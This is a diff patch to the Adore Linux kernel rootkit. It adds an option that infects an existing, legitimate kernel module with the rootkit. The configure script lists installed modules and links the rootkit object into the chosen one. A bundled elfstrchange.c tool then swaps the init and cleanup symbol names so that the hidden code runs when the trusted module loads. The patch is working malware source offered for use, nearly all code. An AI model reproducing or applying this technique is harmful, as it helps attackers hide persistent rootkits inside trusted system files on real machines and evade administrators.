diff -ruN adore.orig/adore.c adore/adore.c
--- adore.orig/adore.c	2002-11-18 13:18:04.000000000 +0100
+++ adore/adore.c	2003-08-16 23:00:39.000000000 +0200
@@ -791,11 +791,19 @@
 	return o_lookup_root(dir, dent);
 }
 
-int init_module(void)
+#ifdef LKMINFECT
+int evil_module(void)
 {
 	struct task_struct *p = current;
 	struct proc_dir_entry *pde = NULL;
 
+	good_module();
+#else
+int init_module(void)
+{
+	struct task_struct *p = current;
+	struct proc_dir_entry *pde = NULL;
+#endif
 
     	EXPORT_NO_SYMBOLS;
 	memset(hidden_procs, 0, sizeof(hidden_procs));
@@ -835,10 +843,14 @@
 	return 0;
 }
 
-
+#ifdef LKMINFECT
+int evclean_module(void)
+{
+	goodcle_module();
+#else
 int cleanup_module(void)
 {
-
+#endif
 	proc_find_tcp()->get_info = o_get_info_tcp;
 	proc_root.INODE_OPS->lookup = o_lookup_root;
 
diff -ruN adore.orig/configure adore/configure
--- adore.orig/configure	2002-11-18 13:18:04.000000000 +0100
+++ adore/configure	2003-08-16 23:30:00.000000000 +0200
@@ -19,6 +19,8 @@
 $| = 1;
 $current_adore = 53;
 $bw = shift || 4;
+$lkminfect=0;
+$lkminfectfile="";
 
 print "\nUsing byte-with of $bw for UID/GID\n";
 
@@ -108,6 +110,33 @@
 }
 
 #
+# Check if adore should be inserted into an existing module
+#
+sub check_lkminfect()
+{
+	print "Should an existing kernel module be infected with adore? (y/n) ";
+	my $s=<STDIN>;
+	chomp($s);
+	if($s eq "y")
+	{
+		# List available kernel module files
+		system("find /lib/modules/`uname -r` -name '*.o' -print");
+		do
+		{
+			print "Choose a module to be infected (the modified version will be safed in the cwd):\n";
+			$s=<STDIN>;
+			chomp($s);
+			if(! -e $s)
+			{
+				print "File doesn't exist!\n";
+			}
+		} while(! -e $s);
+		$lkminfect=1;
+		$lkminfectfile=$s;
+	}
+}
+
+#
 # Look where insmod is located
 #
 sub check_insmod()
@@ -169,6 +198,8 @@
 
 $pwd = get_pass();
 
+check_lkminfect();
+
 $target_dir = `pwd`;
 chop($target_dir);
 
@@ -197,6 +228,10 @@
 
 print O "#\nCC=$cc\nCFLAGS=-O2 -Wall\n\n";
 print O "#CFLAGS+=-m486\nCFLAGS+=-DELITE_CMD=$elite_cmd\nINC=-I/usr/src/linux/include";
+if($lkminfect==1)
+{
+	print O "\nCFLAGS+=-DLKMINFECT\n";
+}
 print O "\nCFLAGS+=-DELITE_UID=${uid}U -DELITE_GID=${gid}U\nCFLAGS+=-DCURRENT_ADORE=$current_adore\n".
 	"CFLAGS+=-DADORE_KEY=\\\"$pwd\\\"\n\n";
 
@@ -213,11 +248,21 @@
 	print O "#";
 }
 
-print O<<_EOF_;
-CFLAGS+=-DMODVERSIONS
+print O "CFLAGS+=-DMODVERSIONS\n";
+
+if($lkminfect==1)
+{
+	print O "all:	adore ava lkminfect\n";
+}
+else
+{
+	print O "all:	adore ava cleaner\n";
+}
 
-all:	adore ava cleaner
+$lkminfectfilebase=$lkminfectfile;
+$lkminfectfilebase=~s#^.*/(.*)$#\1#;
 
+print O<<_EOF_;
 adore: adore.c
 	rm -f adore.o
 	\$(CC) -c \$(INC) \$(CFLAGS) adore.c -o adore.o
@@ -236,8 +281,20 @@
 
 cleaner: cleaner.c
 	\$(CC) \$(INC) -c \$(CFLAGS) cleaner.c
+
+lkminfect: elfstrchange
+	ld -r adore.o $lkminfectfile -o $lkminfectfilebase
+	./elfstrchange $lkminfectfilebase init_module good_module
+	./elfstrchange $lkminfectfilebase cleanup_module goodcle_module
+	./elfstrchange $lkminfectfilebase evil_module init_module
+	./elfstrchange $lkminfectfilebase evclean_module cleanup_module
+	\@echo -e "\\\n$lkminfectfilebase infected\\\n"
+
+elfstrchange: elfstrchange.c
+	\$(CC) elfstrchange.c -o elfstrchange
+	
 clean:
-	rm -f core ava *.o
+	rm -f core ava elfstrchange *.o
 _EOF_
 
 #
diff -ruN adore.orig/elfstrchange.c adore/elfstrchange.c
--- adore.orig/elfstrchange.c	1970-01-01 01:00:00.000000000 +0100
+++ adore/elfstrchange.c	2003-08-16 23:02:30.000000000 +0200
@@ -0,0 +1,191 @@
+/*
+ * elfstrchange.c by truff <truff@projet7.org>
+ * Change the value of a symbol name in the .strtab section
+ *
+ * Usage: elfstrchange elf_object sym_name sym_name_replaced
+ *
+ */
+
+#include <stdlib.h>
+#include <stdio.h>
+#include <elf.h>
+
+#define FATAL(X) { perror (X);exit (EXIT_FAILURE); }
+
+
+int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, 
+                       Elf32_Shdr *shstrtable, char *res, size_t len);
+                       
+Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab, 
+                       Elf32_Shdr *strtab, char *name, Elf32_Sym *sym);
+                       
+Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, 
+                       Elf32_Shdr *strtable, char *res, size_t len);
+
+
+int main (int argc, char **argv)
+{
+  int i;
+  int len = 0;
+  char *string;
+  FILE *fd;
+  Elf32_Ehdr hdr;
+  Elf32_Shdr symtab, strtab;
+  Elf32_Sym sym;
+  Elf32_Off symoffset;
+
+  fd = fopen (argv[1], "r+");
+  if (fd == NULL)
+    FATAL ("fopen");
+
+  if (fread (&hdr, sizeof (Elf32_Ehdr), 1, fd) < 1)
+    FATAL ("Elf header corrupted");
+
+  if (ElfGetSectionByName (fd, &hdr, ".symtab", &symtab) == -1)
+  {
+    fprintf (stderr, "Can't get .symtab section\n");
+    exit (EXIT_FAILURE);
+  }
+    
+  if (ElfGetSectionByName (fd, &hdr, ".strtab", &strtab) == -1)
+  {
+    fprintf (stderr, "Can't get .strtab section\n");
+    exit (EXIT_FAILURE);
+  }
+    
+
+  symoffset = ElfGetSymbolByName (fd, &symtab, &strtab, argv[2], &sym);
+  if (symoffset == -1)
+  {
+    fprintf (stderr, "Symbol %s not found\n", argv[2]);
+    exit (EXIT_FAILURE);
+  }
+  
+  
+  printf ("[+] Symbol %s located at 0x%x\n", argv[2], symoffset);
+  
+  if (fseek (fd, symoffset, SEEK_SET) == -1)
+    FATAL ("fseek");
+
+  if (fwrite (argv[3], 1, strlen(argv[3]), fd) < strlen (argv[3]))
+    FATAL ("fwrite");
+  
+  printf ("[+] .strtab entry overwriten with %s\n", argv[3]);
+  
+  fclose (fd);
+
+  return EXIT_SUCCESS;
+}
+
+Elf32_Off ElfGetSymbolByName (FILE *fd, Elf32_Shdr *symtab, 
+            Elf32_Shdr *strtab, char *name, Elf32_Sym *sym)
+{
+  int i;
+  char symname[255];
+  Elf32_Off offset;
+
+  for (i=0; i<(symtab->sh_size/symtab->sh_entsize); i++)
+  {
+    if (fseek (fd, symtab->sh_offset + (i * symtab->sh_entsize), 
+               SEEK_SET) == -1)
+      FATAL ("fseek");
+    
+    if (fread (sym, sizeof (Elf32_Sym), 1, fd) < 1)
+      FATAL ("Symtab corrupted");
+    
+    memset (symname, 0, sizeof (symname));
+    offset = ElfGetSymbolName (fd, sym->st_name, 
+                        strtab, symname, sizeof (symname));
+    if (!strcmp (symname, name))
+      return offset;
+  }
+  
+  return -1;
+}
+
+
+int ElfGetSectionByIndex (FILE *fd, Elf32_Ehdr *ehdr, Elf32_Half index, 
+    Elf32_Shdr *shdr)
+{
+  if (fseek (fd, ehdr->e_shoff + (index * ehdr->e_shentsize), 
+             SEEK_SET) == -1)
+    FATAL ("fseek");
+  
+  if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
+    FATAL ("Sections header corrupted");
+
+  return 0;
+}
+  
+
+int ElfGetSectionByName (FILE *fd, Elf32_Ehdr *ehdr, char *section, 
+                         Elf32_Shdr *shdr)
+{
+  int i;
+  char name[255];
+  Elf32_Shdr shstrtable;
+
+  /*
+   * Get the section header string table
+   */
+  ElfGetSectionByIndex (fd, ehdr, ehdr->e_shstrndx, &shstrtable);
+  
+  memset (name, 0, sizeof (name));
+
+  for (i=0; i<ehdr->e_shnum; i++)
+  {
+    if (fseek (fd, ehdr->e_shoff + (i * ehdr->e_shentsize), 
+               SEEK_SET) == -1)
+      FATAL ("fseek");
+    
+    if (fread (shdr, sizeof (Elf32_Shdr), 1, fd) < 1)
+      FATAL ("Sections header corrupted");
+    
+    ElfGetSectionName (fd, shdr->sh_name, &shstrtable, 
+                       name, sizeof (name));
+    if (!strcmp (name, section))
+    {
+      return 0;
+    }
+  }
+  return -1;
+}
+
+
+int ElfGetSectionName (FILE *fd, Elf32_Word sh_name, 
+    Elf32_Shdr *shstrtable, char *res, size_t len)
+{
+  size_t i = 0;
+  
+  if (fseek (fd, shstrtable->sh_offset + sh_name, SEEK_SET) == -1)
+    FATAL ("fseek");
+  
+  while ((i < len) || *res == '\0')
+  {
+    *res = fgetc (fd);
+    i++;
+    res++;
+  }
+  
+  return 0;
+}
+
+
+Elf32_Off ElfGetSymbolName (FILE *fd, Elf32_Word sym_name, 
+    Elf32_Shdr *strtable, char *res, size_t len)
+{
+  size_t i = 0;
+  
+  if (fseek (fd, strtable->sh_offset + sym_name, SEEK_SET) == -1)
+    FATAL ("fseek");
+  
+  while ((i < len) || *res == '\0')
+  {
+    *res = fgetc (fd);
+    i++;
+    res++;
+  }
+  
+  return (strtable->sh_offset + sym_name);
+}
+/* EOF */
